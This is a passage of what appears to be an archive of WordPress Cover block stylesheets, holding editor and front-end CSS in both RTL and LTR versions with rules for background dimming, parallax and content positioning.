min-height:auto; } .wp-block-cover.components-placeholder h2{ color:inherit; } .wp-block-cover.is-transient:before{ background-color:#fff; opacity:.3; } .wp-block-cover .components-spinner{ margin:0; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); z-index:1; } .wp-block-cover .wp-block-cover__inner-container{ margin-left:0; margin-right:0; text-align:right; } .wp-block-cover .wp-block-cover__placeholder-background-options{ width:100%; } .wp-block-cover .wp-block-cover__image--placeholder-image{ bottom:0; left:0; position:absolute; right:0; top:0; } [data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{ max-width:420px; width:100%; } .block-library-cover__reset-button{ margin-right:auto; } .block-library-cover__resize-container{ bottom:0; left:0; min-height:50px; position:absolute !important; right:0; top:0; } .components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{ overflow:visible; pointer-events:none; } .wp-block-cover>.components-drop-zone .components-drop-zone__content{ opacity:.8 !important; } .block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{ background-attachment:scroll; } .color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){ margin-top:24px; } .wp-block-cover:after{ min-height:auto; }blocks/cover/editor-rtl.min.css000064400000003322151202620300012507 0ustar00.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);z-index:1}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-cover:after{min-height:auto}blocks/cover/style-rtl.css000064400000045165151202620300011612 0ustar00.wp-block-cover,.wp-block-cover-image{ align-items:center; background-position:50%; box-sizing:border-box; direction:ltr; display:flex; justify-content:center; min-height:430px; overflow:hidden; overflow:clip; padding:1em; position:relative; } .wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){ background-color:#000; } .wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{ background-color:transparent; } .wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{ background-color:inherit; content:""; } .wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{ bottom:0; left:0; opacity:.5; position:absolute; right:0; top:0; z-index:1; } .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{ opacity:.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{ opacity:.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{ opacity:.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{ opacity:.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{ opacity:.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{ opacity:.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{ opacity:.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{ opacity:.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{ opacity:.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{ opacity:1; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{ opacity:0; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{ opacity:.1; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{ opacity:.2; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{ opacity:.3; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{ opacity:.4; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{ opacity:.5; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{ opacity:.6; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{ opacity:.7; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{ opacity:.8; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{ opacity:.9; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{ opacity:1; } .wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{ max-width:420px; width:100%; } .wp-block-cover-image:after,.wp-block-cover:after{ content:""; display:block; font-size:0; min-height:inherit; } @supports (position:sticky){ .wp-block-cover-image:after,.wp-block-cover:after{ content:none; } } .wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{ display:flex; } .wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{ color:inherit; direction:rtl; width:100%; z-index:1; } .wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){ color:inherit; } .wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{ align-items:flex-start; justify-content:flex-start; } .wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{ align-items:flex-start; justify-content:center; } .wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{ align-items:flex-start; justify-content:flex-end; } .wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{ align-items:center; justify-content:flex-start; } .wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{ align-items:center; justify-content:center; } .wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{ align-items:center; justify-content:flex-end; } .wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{ align-items:flex-end; justify-content:flex-start; } .wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{ align-items:flex-end; justify-content:center; } .wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{ align-items:flex-end; justify-content:flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{ margin:0; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{ margin:0; width:auto; } .wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{ border:none; bottom:0; box-shadow:none; height:100%; left:0; margin:0; max-height:none; max-width:none; object-fit:cover; outline:none; padding:0; position:absolute; right:0; top:0; width:100%; } .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{ background-attachment:fixed; background-repeat:no-repeat; background-size:cover; } @supports (-webkit-touch-callout:inherit){ .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{ background-attachment:scroll; } } @media (prefers-reduced-motion:reduce){ .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{ background-attachment:scroll; } } .wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{ background-repeat:repeat; background-size:auto; } .wp-block-cover__image-background,.wp-block-cover__video-background{ z-index:0; } .wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{ color:#fff; } .wp-block-cover-image .wp-block-cover.has-left-content{ justify-content:flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content{ justify-content:flex-end; } .wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{ margin-right:0; text-align:right; } .wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{ margin-left:0; text-align:left; } .wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{ font-size:2em; line-height:1.25; margin-bottom:0; max-width:840px; padding:.44em; text-align:center; z-index:1; } :where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){ color:#fff; } :where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){ color:#000; }blocks/cover/style.css000064400000045127151202620300011011 0ustar00.wp-block-cover,.wp-block-cover-image{ align-items:center; background-position:50%; box-sizing:border-box; display:flex; justify-content:center; min-height:430px; overflow:hidden; overflow:clip; padding:1em; position:relative; } .wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){ background-color:#000; } .wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{ background-color:transparent; } .wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{ background-color:inherit; content:""; } .wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{ bottom:0; left:0; opacity:.5; position:absolute; right:0; top:0; z-index:1; } .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{ opacity:.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{ opacity:.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{ opacity:.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{ opacity:.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{ opacity:.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{ opacity:.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{ opacity:.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{ opacity:.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{ opacity:.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{ opacity:1; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{ opacity:0; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{ opacity:.1; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{ opacity:.2; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{ opacity:.3; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{ opacity:.4; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{ opacity:.5; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{ opacity:.6; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{ opacity:.7; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{ opacity:.8; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{ opacity:.9; } .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{ opacity:1; } .wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{ max-width:420px; width:100%; } .wp-block-cover-image:after,.wp-block-cover:after{ content:""; display:block; font-size:0; min-height:inherit; } @supports (position:sticky){ .wp-block-cover-image:after,.wp-block-cover:after{ content:none; } } .wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{ display:flex; } .wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{ color:inherit; width:100%; z-index:1; } .wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){ color:inherit; } .wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{ align-items:flex-start; justify-content:flex-start; } .wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{ align-items:flex-start; justify-content:center; } .wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{ align-items:flex-start; justify-content:flex-end; } .wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{ align-items:center; 